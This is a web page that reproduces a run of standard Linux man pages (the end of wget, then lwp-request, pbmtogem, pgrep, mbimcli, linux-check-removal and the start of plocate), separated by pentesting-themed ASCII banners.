In versions of Wget prior to 1.12, Wget’s exit status tended to be unhelpful and inconsistent. Recursive downloads would virtually always return 0 (success), regardless of any issues encountered, and non-recursive fetches only returned the status corresponding to the most recently-attempted download.

FILES

/etc/wgetrc
Default location of the global startup file.

.wgetrc
User startup file.

BUGS

You are welcome to submit bug reports via the GNU Wget bug tracker (see <https://savannah.gnu.org/bugs/?func=additem&group=wget>) or to our mailing list <[email protected]>.

Visit <https://lists.gnu.org/mailman/listinfo/bug-wget> to get more info (how to subscribe, list archives, …).

Before actually submitting a bug report, please try to follow a few simple guidelines.

  1. Please try to ascertain that the behavior you see really is a bug. If Wget crashes, it’s a bug. If Wget does not behave as documented, it’s a bug. If things work strange, but you are not sure about the way they are supposed to work, it might well be a bug, but you might want to double-check the documentation and the mailing lists.

  2. Try to repeat the bug in as simple circumstances as possible. E.g. if Wget crashes while downloading wget -rl0 -kKE -t5 –no-proxy http://example.com -o /tmp/log, you should try to see if the crash is repeatable, and if will occur with a simpler set of options. You might even try to start the download at the page where the crash occurred to see if that page somehow triggered the crash. Also, while I will probably be interested to know the contents of your .wgetrc file, just dumping it into the debug message is probably a bad idea. Instead, you should first try to see if the bug repeats with .wgetrc moved out of the way. Only if it turns out that .wgetrc settings affect the bug, mail me the relevant parts of the file.

  3. Please start Wget with -d option and send us the resulting output (or relevant parts thereof). If Wget was compiled without debug support, recompile it—it is much easier to trace bugs with debug support on. Note: please make sure to remove any potentially sensitive information from the debug log before sending it to the bug address. The -d won’t go out of its way to collect sensitive information, but the log will contain a fairly complete transcript of Wget’s communication with the server, which may include passwords and pieces of downloaded data. Since the bug address is publicly archived, you may assume that all bug reports are visible to the public.

  4. If Wget has crashed, try to run it in a debugger, e.g. gdb `which wget` core and type where to get the backtrace. This may not work if the system administrator has disabled core files, but it is safe to try.

SEE ALSO

This is not the complete manual for GNU Wget. For more complete information, including more detailed explanations of some of the options, and a number of commands available for use with .wgetrc files and the -e option, see the GNU Info entry for wget.

Also see wget2 (1), the updated version of GNU Wget with even better support for recursive downloading and modern protocols like HTTP/2.

AUTHOR

Originally written by Hrvoje Nikšić <[email protected]>. Currently maintained by Darshit Shah <[email protected]> and Tim Rühsen <[email protected]>.

COPYRIGHT

Copyright (c) 1996–2011, 2015, 2018–2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2125 - Linux cli command lwp-request

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command lwp-request and provides detailed information about the command lwp-request, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the lwp-request.

NAME 🖥️ lwp-request 🖥️

request - Simple command line user agent

SYNOPSIS

lwp-request [-afPuUsSedvhx] [-m method] [-b base URL] [-t timeout] [-i if-modified-since] [-c content-type] [-C credentials] [-p proxy-url] [-o format] url

DESCRIPTION

This program can be used to send requests to WWW servers and your local file system. The request content for POST, PUT and PATCH methods is read from stdin. The content of the response is printed on stdout. Error messages are printed on stderr. The program returns a status value indicating the number of URLs that failed.

The options are:

-m <method>
Set which method to use for the request. If this option is not used, then the method is derived from the name of the program.

-f
Force request through, even if the program believes that the method is illegal. The server might reject the request eventually.

-b <uri>
This URI will be used as the base URI for resolving all relative URIs given as argument.

-t <timeout>
Set the timeout value for the requests. The timeout is the amount of time that the program will wait for a response from the remote server before it fails. The default unit for the timeout value is seconds. You might append “m” or “h” to the timeout value to make it minutes or hours, respectively. The default timeout is ‘3m’, i.e. 3 minutes.

-i <time>
Set the If-Modified-Since header in the request. If time is the name of a file, use the modification timestamp for this file. If time is not a file, it is parsed as a literal date. Take a look at HTTP::Date for recognized formats.

-c <content-type>
Set the Content-Type for the request. This option is only allowed for requests that take a content, i.e. POST, PUT and PATCH. You can force methods to take content by using the -f option together with -c. The default Content-Type for POST is application/x-www-form-urlencoded. The default Content-type for the others is text/plain.

-p <proxy-url>
Set the proxy to be used for the requests. The program also loads proxy settings from the environment. You can disable this with the -P option.

-P
Don’t load proxy settings from environment.

-H <header>
Send this HTTP header with each request. You can specify several, e.g.: lwp-request \ -H Referer: http://other.url/ \ -H Host: somehost \ http://this.url/

-C <username>:<password>
Provide credentials for documents that are protected by Basic Authentication. If the document is protected and you did not specify the username and password with this option, then you will be prompted to provide these values.

The following options controls what is displayed by the program:

-u
Print request method and absolute URL as requests are made.

-U
Print request headers in addition to request method and absolute URL.

-s
Print response status code. This option is always on for HEAD requests.

-S
Print response status chain. This shows redirect and authorization requests that are handled by the library.

-e
Print response headers. This option is always on for HEAD requests.

-E
Print response status chain with full response headers.

-d
Do not print the content of the response.

-o <format>
Process HTML content in various ways before printing it. If the content type of the response is not HTML, then this option has no effect. The legal format values are; text, ps, links, html and dump. If you specify the text format then the HTML will be formatted as plain latin1 text. If you specify the ps format then it will be formatted as Postscript. The links format will output all links found in the HTML document. Relative links will be expanded to absolute ones. The html format will reformat the HTML code and the dump format will just dump the HTML syntax tree. Note that the HTML-Tree distribution needs to be installed for this option to work. In addition the HTML-Format distribution needs to be installed for -o text or -o ps to work.

-v
Print the version number of the program and quit.

-h
Print usage message and quit.

-a
Set text(ascii) mode for content input and output. If this option is not used, content input and output is done in binary mode.

Because this program is implemented using the LWP library, it will only support the protocols that LWP supports.

SEE ALSO

lwp-mirror, LWP

COPYRIGHT

Copyright 1995-1999 Gisle Aas.

This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself.

AUTHOR

Gisle Aas <[email protected]>

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2126 - Linux cli command pbmtogem

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pbmtogem and provides detailed information about the command pbmtogem, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pbmtogem.

.

NAME 🖥️ pbmtogem 🖥️

convert a PBM image into a GEM .img file

SYNOPSIS

pbmtogem [pbmfile]

DESCRIPTION

This program is part of Netpbm(1) .

pbmtogem reads a PBM image as input and produces a compressed GEM .img file as output.

OPTIONS

There are no command line options defined specifically for pbmtogem, but it recognizes the options common to all programs based on libnetpbm (See Common Options .)

LIMITATIONS

pbmtogem cannot compress repeated lines.

SEE ALSO

gemtopbm(1) , pbm(1)

AUTHOR

Copyright (C) 1988 by David Beckemeyer (bdt!david) and Jef Poskanzer.

DOCUMENT SOURCE

This manual page was generated by the Netpbm tool ‘makeman’ from HTML source. The master documentation is at

http://netpbm.sourceforge.net/doc/pbmtogem.html

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2127 - Linux cli command pgrep

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command pgrep and provides detailed information about the command pgrep, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the pgrep.

NAME 🖥️ pgrep 🖥️

look up, signal, or wait for processes based on name and other attributes

SYNOPSIS

pgrep [options] pattern
pkill [options] pattern
pidwait [options] pattern

DESCRIPTION

pgrep looks through the currently running processes and lists the process IDs which match the selection criteria to stdout. All the criteria have to match. For example,

$ pgrep -u root sshd

will only list the processes called sshd AND owned by root. On the other hand,

$ pgrep -u root,daemon

will list the processes owned by root OR daemon.

pkill will send the specified signal (by default SIGTERM) to each process instead of listing them on stdout.

pidwait will wait for each process instead of listing them on stdout.

OPTIONS

**-**signal
–signal signal
Defines the signal to send to each matched process. Either the numeric or the symbolic signal name can be used. In pgrep or pidwait mode only the long option can be used and has no effect unless used in conjunction with –require-handler to filter to processes with a userspace signal handler present for a particular signal.

-c, –count
Suppress normal output; instead print a count of matching processes. When count does not match anything, e.g. returns zero, the command will return non-zero value. Note that for pkill and pidwait, the count is the number of matching processes, not the processes that were successfully signaled or waited for.

-d, –delimiter delimiter
Sets the string used to delimit each process ID in the output (by default a newline). (pgrep only.)

-e, –echo
Display name and PID of the process being killed. (pkill only.)

-f, –full
The pattern is normally only matched against the process name. When -f is set, the full command line is used.

-g, –pgroup pgrp,…
Only match processes in the process group IDs listed. Process group 0 is translated into pgrep’s, pkill’s, or pidwait’s own process group.

-G, –group gid,…
Only match processes whose real group ID is listed. Either the numerical or symbolical value may be used.

-i, –ignore-case
Match processes case-insensitively.

-l, –list-name
List the process name as well as the process ID. (pgrep only.)

-a, –list-full
List the full command line as well as the process ID. (pgrep only.)

-n, –newest
Select only the newest (most recently started) of the matching processes.

-o, –oldest
Select only the oldest (least recently started) of the matching processes.

-O, –older secs
Select processes older than secs.

-P, –parent ppid,…
Only match processes whose parent process ID is listed.

-s, –session sid,…
Only match processes whose process session ID is listed. Session ID 0 is translated into pgrep’s, pkill’s, or pidwait’s own session ID.

-t, –terminal term,…
Only match processes whose controlling terminal is listed. The terminal name should be specified without the “/dev/” prefix.

-u, –euid euid,…
Only match processes whose effective user ID is listed. Either the numerical or symbolical value may be used.

-U, –uid uid,…
Only match processes whose real user ID is listed. Either the numerical or symbolical value may be used.

-v, –inverse
Negates the matching. This option is usually used in pgrep’s or pidwait’s context. In pkill’s context the short option is disabled to avoid accidental usage of the option.

-w, –lightweight
Shows all thread ids instead of pids in pgrep’s or pidwait’s context. In pkill’s context this option is disabled.

-x, –exact
Only match processes whose names (or command lines if -f is specified) exactly match the pattern.

-F, –pidfile file
Read PIDs from file. This option is more useful for pkill or pidwait than pgrep.

-L, –logpidfile
Fail if pidfile (see -F) not locked.

-r, –runstates D,R,S,Z,
Match only processes which match the process state.

-A, –ignore-ancestors
Ignore all ancestors of pgrep, pkill, or pidwait. For example, this can be useful when elevating with sudo or similar tools.

-H, –require-handler
Only match processes with a userspace signal handler present for the signal to be sent.

–cgroup name**,…**
Match on provided control group (cgroup) v2 name. See cgroups(8)

–ns pid
Match processes that belong to the same namespaces. Required to run as root to match processes from other users. See –nslist for how to limit which namespaces to match.

–nslist name**,…**
Match only the provided namespaces. Available namespaces: ipc, mnt, net, pid, user, uts.

-q, –queue value
Use sigqueue(3) rather than kill(2) and the value argument is used to specify an integer to be sent with the signal. If the receiving process has installed a handler for this signal using the SA_SIGINFO flag to sigaction(2), then it can obtain this data via the si_value field of the siginfo_t structure.

-V, –version
Display version information and exit.

-h, –help
Display help and exit.

OPERANDS

pattern
Specifies an Extended Regular Expression for matching against the process names or command lines.

EXAMPLES

Example 1: Find the process ID of the named daemon:

$ pgrep -u root named

Example 2: Make syslog reread its configuration file:

$ pkill -HUP syslogd

Example 3: Give detailed information on all xterm processes:

$ ps -fp $(pgrep -d, -x xterm)

Example 4: Make all chrome processes run nicer:

$ renice +4 $(pgrep chrome)

EXIT STATUS

0
One or more processes matched the criteria. For pkill and pidwait, one or more processes must also have been successfully signalled or waited for.

1
No processes matched or none of them could be signalled.

2
Syntax error in the command line.

3
Fatal error: out of memory etc.

NOTES

The process name used for matching is limited to the 15 characters present in the output of /proc/pid/stat. Use the -f option to match against the complete command line, /proc/pid/cmdline. Threads may not have the same process name as the parent process but will have the same command line.

The running pgrep, pkill, or pidwait process will never report itself as a match.

The -O –older option will silently fail if /proc is mounted with the subset=pid option.

BUGS

The options -n and -o and -v can not be combined. Let me know if you need to do this.

Defunct processes are reported.

pidwait requires the pidfd_open(2) system call which first appeared in Linux 5.3.

SEE ALSO

ps(1), regex(7), signal(7), sigqueue(3), killall(1), skill(1), kill(1), kill(2), cgroups(8).

AUTHOR

Kjetil Torgrim Homme

REPORTING BUGS

Please send bug reports to

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2128 - Linux cli command mbimcli

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mbimcli and provides detailed information about the command mbimcli, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mbimcli.

NAME 🖥️ mbimcli 🖥️

Control MBIM devices

DESCRIPTION

Usage:

mbimcli [OPTION?] - Control MBIM devices

Help Options:

-h, –help
Show help options

–help-all
Show all help options

–help-basic-connect
Show Basic Connect Service options

–help-phonebook
Show Phonebook Service options

–help-dss
Show Device Service Stream options

–help-ms-firmware-id
Show Microsoft Firmware ID Service options

–help-ms-host-shutdown
Show Microsoft Host Shutdown Service options

–help-ms-sar
Show Microsoft SAR Service options

–help-atds
Show AT&T Device Service options

–help-intel-firmware-update
Show Intel Firmware Update Service options

–help-ms-basic-connect-extensions
Show Microsoft Basic Connect Extensions Service options

–help-quectel
Show Quectel Service options

–help-link-management
Show link management specific options

–help-intel-thermal-rf
Show Intel Thermal RF Service options

–help-ms-voice-extensions
Show Microsoft Voice Extensions Service options

–help-ms-uicc-low-level-access
Show Microsoft UICC Low Level Access Service options

–help-intel-mutual-authentication
Show Intel mutual authentication Service options

–help-intel-tools
Show Intel 5G tools options

–help-google
Show Google Service options

Basic Connect options:

–query-device-caps
Query device capabilities

–query-subscriber-ready-status
Query subscriber ready status

–query-radio-state
Query radio state

–set-radio-state=[(on|off)]
Set radio state

–query-device-services
Query device services

–query-pin-state
Query PIN state

–enter-pin=[(PIN type),(current PIN)]
Enter PIN (PIN type is optional, defaults to PIN1, allowed options: (pin1,network-pin,network-subset-pin,service-provider-pin,corporate-pin)

–change-pin=[(current PIN),(new PIN)]
Change PIN

–enable-pin=[(current PIN)]
Enable PIN

–disable-pin=[(PIN type),(current PIN)]
Disable PIN (PIN type is optional, see enter-pin for details)

–enter-puk=[(PUK type),(PUK),(new PIN)]
Enter PUK (PUK type is optional, defaults to PUK1, allowed options: (puk1,network-puk,network-subset-puk,service-provider-puk,corporate-puk)

–query-pin-list
Query PIN list

–query-home-provider
Query home provider

–query-preferred-providers
Query preferred providers

–query-visible-providers
Query visible providers

–query-registration-state
Query registration state

–register-automatic
Launch automatic registration

–query-signal-state
Query signal state

–query-packet-service-state
Query packet service state

–attach-packet-service
Attach to the packet service

–detach-packet-service
Detach from the packet service

–query-connection-state=[SessionID]
Query connection state (SessionID is optional, defaults to 0)

–connect=[“key=value,…”]
Connect (allowed keys: session-id, access-string, ip-type, auth, username, password, compression, context-type)

–query-ip-configuration=[SessionID]
Query IP configuration (SessionID is optional, defaults to 0)

–disconnect=[SessionID]
Disconnect (SessionID is optional, defaults to 0)

–query-packet-statistics
Query packet statistics

–query-ip-packet-filters=[SessionID]
Query IP packet filters (SessionID is optional, defaults to 0)

–set-ip-packet-filters=[“key=value,…”]
Set IP packet filters (allowed keys: session-id, packet-filter, packet-mask, filter-id)

–query-provisioned-contexts
Query provisioned contexts

–set-provisioned-contexts=[“key=value,…”]
Set provisioned contexts (allowed keys: context-id, context-type, auth, compression, username, password, access-string, provider-id)

–set-signal-state=[“key=value,…”]
Set signal state (allowed keys: signal-strength-interval, rssi-threshold, error-rate-threshold)

–set-network-idle-hint=[(enabled|disabled)]
Set network idle hint

–query-network-idle-hint
Query network idle hint

–set-emergency-mode=[(on|off)]
Set emergency mode

–query-emergency-mode
Query emergency mode

–set-service-activation=[Data]
Set service activation

Phonebook options:

–phonebook-query-configuration
Query the phonebook configuration

–phonebook-read=[(Phonebook index)]
Read phonebook entry with given index

–phonebook-read-all
Read all phonebook entries

–phonebook-write=[(Name),(Number)[,(Index)]]
Add new phonebook entry or update an existing one

–phonebook-delete=[(Phonebook index)]
Delete phonebook entry with given index

–phonebook-delete-all
Delete all phonebook entries

Device Service Stream options:

–dss-connect=[(UUID),(Session ID)]
Connect DSS session

–dss-disconnect=[(UUID),(Session ID)]
Disconnect DSS session

Microsoft Firmware ID options:

–ms-query-firmware-id
Query firmware ID

Microsoft Host Shutdown options:

–ms-notify-host-shutdown
Notify that host is shutting down

Microsoft SAR options:

–ms-set-sar-config=[(device|os),(enabled|disabled)[,[{antenna_index,backoff_index}…]]]
Set SAR config

–ms-query-sar-config
Query SAR config

–ms-set-transmission-status=[(enabled|disabled),(timer)]
Set transmission status and hysteresis timer (in seconds)

–ms-query-transmission-status
Query transmission status

AT&T Device Service options:

–atds-query-signal
Query signal info

–atds-query-location
Query cell location

Intel Firmware Update Service options:

–intel-modem-reboot=[(Boot Mode),(Timeout)]
Reboot modem. Boot mode and timeout arguments only required if MBIMEx >= 2.0.

Microsoft Basic Connect Extensions options:

–ms-query-pco=[SessionID]
Query PCO value (SessionID is optional, defaults to 0)

–ms-query-lte-attach-configuration
Query LTE attach configuration

–ms-query-lte-attach-info
Query LTE attach status information

–ms-query-sys-caps
Query system capabilities

–ms-query-device-caps
Query device capabilities

–ms-query-slot-info-status=[SlotIndex]
Query slot information status

–ms-set-device-slot-mappings=[(SlotIndex)[,(SlotIndex)[,…]]]
Set device slot mappings for each executor

–ms-query-device-slot-mappings
Query device slot mappings

–ms-query-location-info-status
Query location info status

–ms-set-provisioned-contexts=[“key=value,…”]
Set provisioned contexts (allowed keys: operation, context-type, ip-type, state, roaming-control, media-type, source, auth, compression, username, password, access-string)

–ms-query-provisioned-contexts
Query provisioned contexts

–ms-query-base-stations-info
Query base stations info

–ms-device-reset
Reset device

–ms-query-version=[(MBIM version),(MBIM extended version)]
Exchange supported version information. Since MBIMEx v2.0.

–ms-query-registration-parameters
Query registration parameters. Since MBIMEx v3.0.

–ms-set-registration-parameters=[“key=value,…”]
Set registration parameters (required keys: mico-mode, drx-cycle, ladn-info, default-pdu-activation-hint, re-register-if-needed). Since MBIMEx v3.0.

–ms-query-modem-configuration
Query modem configuration. Since MBIMEx v3.0.

–ms-query-wake-reason
Query wake reason. Since MBIMEx v3.0.

Quectel options:

–quectel-query-radio-state
Query radio state

–quectel-set-radio-state=[(on)]
Set radio state

–link-list=[IFACE]
List links created from a given interface

–link-add=[iface=IFACE,prefix=PREFIX[,session-id=N]]
Create new network interface link

–link-delete=IFACE
Delete a given network interface link

–link-delete-all=[IFACE]
Delete all network interface links from the given interface

Intel Thermal RF Service options:

–intel-query-rfim
Query RFIM frequency information

–intel-set-rfim=[(on|off)]
Enable or disable RFIM (disabled by default)

Microsoft Voice Extensions Service options:

–ms-query-nitz
Query network identity and time zone

Microsoft UICC Low Level Access Service options:

–ms-query-uicc-application-list
Query UICC application list

–ms-query-uicc-file-status=[“key=value,…”]
Query UICC file status (allowed keys: application-id, file-path)

–ms-query-uicc-read-binary=[“key=value,…”]
Read UICC binary file (allowed keys: application-id, file-path, read-offset, read-size, local-pin and data)

–ms-query-uicc-read-record=[“key=value,…”]
Read UICC record file (allowed keys: application-id, file-path, record-number, local-pin and data)

–ms-set-uicc-open-channel=[“key=value,…”]
Set UICC open channel (allowed keys: application-id, selectp2arg, channel-group)

–ms-set-uicc-close-channel=[“key=value,…”]
Set UICC close channel (allowed keys: channel, channel-group)

–ms-query-uicc-atr
Query UICC atr

–ms-set-uicc-apdu=[“key=value,…”]
Set UICC apdu (allowed keys: channel, secure-message, classbyte-type, command)

–ms-set-uicc-reset=[(Pass Through Action)]
Set UICC reset

–ms-query-uicc-reset
Query UICC reset

–ms-set-uicc-terminal-capability=[“key=value,…”]
Set UICC terminal capability (allowed keys: terminal-capability)

–ms-query-uicc-terminal-capability
Query UICC terminal capability

Intel mutual authentication Service options:

–intel-query-fcc-lock
Query FCC lock information

–intel-set-fcc-lock=[(ResponsePresent),(Response)]
Set FCC lock information

Intel 5G tools options

–intel-set-trace-config=[(TraceCmd)|(TraceValue)]
Set trace configuration

–intel-query-trace-config=[(TraceCmd)]
Query trace configuration

Google options:

–google-set-carrier-lock=[(Data)]
Set Google Carrier Lock

–google-query-carrier-lock
Query Google Carrier Lock

Application Options:

-d, –device=[PATH]
Specify device path

-p, –device-open-proxy
Request to use the ‘mbim-proxy’ proxy

–device-open-ms-mbimex-v2
Request to enable Microsoft MBIMEx v2.0 support

–device-open-ms-mbimex-v3
Request to enable Microsoft MBIMEx v3.0 support

–no-open=[Transaction ID]
Do not explicitly open the MBIM device before running the command

–no-close
Do not close the MBIM device after running the command

–noop
Don’t run any command

-v, –verbose
Run action with verbose logs, including the debug ones

–verbose-full
Run action with verbose logs, including the debug ones and personal info

–silent
Run action with no logs; not even the error/warning ones

–printable=[(Data)]
Get the printable info of the given hex encoded MBIM message

-V, –version
Print version

COPYRIGHT

Copyright © 2013-2023 Aleksander Morgado License GPLv2+: GNU GPL version 2 or later <http://gnu.org/licenses/gpl-2.0.html>
This is free software: you are free to change and redistribute it. There is NO WARRANTY, to the extent permitted by law.

SEE ALSO

The full documentation for mbimcli is maintained as a Texinfo manual. If the info and mbimcli programs are properly installed at your site, the command

info mbimcli

should give you access to the complete manual.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2129 - Linux cli command linux-check-removal

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command linux-check-removal and provides detailed information about the command linux-check-removal, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the linux-check-removal.

NAME 🖥️ linux-check-removal 🖥️

check-removal - check whether removal of a kernel is safe

SYNOPSIS

linux-check-removal* VERSION*

DESCRIPTION

linux-check-removal is intended to be called from the prerm maintainer scripts of Linux kernel packages.

The VERSION argument must be the kernel version string as shown by uname -r and used in filenames.

If the currently running kernel matches VERSION, linux-check-removal normally prompts the user to confirm this potentially dangerous action and fails if the user chooses to abort. There are two exceptions to this behaviour:

  • If the current environment is a chroot or container, it is assumed that the running kernel is independent of any installed kernel package and the command always quietly succeeds

  • If debconf prompts are disabled, the command warns if removing the running kernel but always succeeds

ENVIRONMENT VARIABLES

DEBIAN_FRONTEND
Name of the preferred debconf front-end. If set to noninteractive, debconf prompts are disabled and linux-check-removal always quietly succeeds.

DPKG_MAINTSCRIPT_PACKAGE
Name of the package to be removed, automatically set by dpkg.

AUTHOR

linux-check-removal and this manual page were written by Ben Hutchings as part of the Debian linux-base package.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

2130 - Linux cli command plocate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command plocate and provides detailed information about the command plocate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the plocate.

NAME 🖥️ plocate 🖥️

find files by name, quickly

SYNOPSIS

plocate [OPTION]… PATTERN…

DESCRIPTION

plocate finds all files on the system matching the given pattern (or all of the patterns if multiple are given). It does this by means of an index made by updatedb(8) or (less commonly) converted from another index by plocate-build(8).

plocate is largely argument-compatible with mlocate(1), but is significantly faster. In particular, it rarely needs to scan through its entire database, unless the pattern is very short (less than three bytes) or you want to search for a regular expression. It does not try to maintain compatibility with BSD locate, or non-UTF-8 filenames and locales. Most I/O is done asynchronously, but the results are synchronized so that output comes in the same order every time.

When multiple patterns are given, plocate will search for files that match all of them. This is the main incompatibility with mlocate(1), which searches for files that match one or more patterns, unless the -A option is given.

By default, patterns are taken to be substrings to search for. If at least one non-escaped globbing metacharacter (*, ? or []) is given, that pattern is instead taken to be a glob pattern (which means it needs to start and end in * for a substring match). If –regexp is given, patterns are instead taken to be (non-anchored) POSIX basic regular expressions, and if –regex is given, patterns are taken to be POSIX extended regular expressions. All of this matches mlocate(1) behavior.

Like mlocate(1), plocate shows all files visible to the calling user (by virtue of having read and execute permissions on all parent directories), and none that are not, by means of running with the setgid bit set to access the index (which is built as root), but by testing visibility as the calling user.

EXIT STATUS

plocate exits with 0 to indicate that a match was found or that –help or –version were passed. Otherwise, plocate exits with status code 1, indicating that an error occurred or that no matches were found.

OPTIONS

-A, –all
Ignored for compatibility with mlocate(1).

-b, –basename
Match only against the file name portion of the path name, ie., the directory names will be excluded from the match (but still printed). This does not speed up the search, but can suppress uninteresting matches.

-c, –count
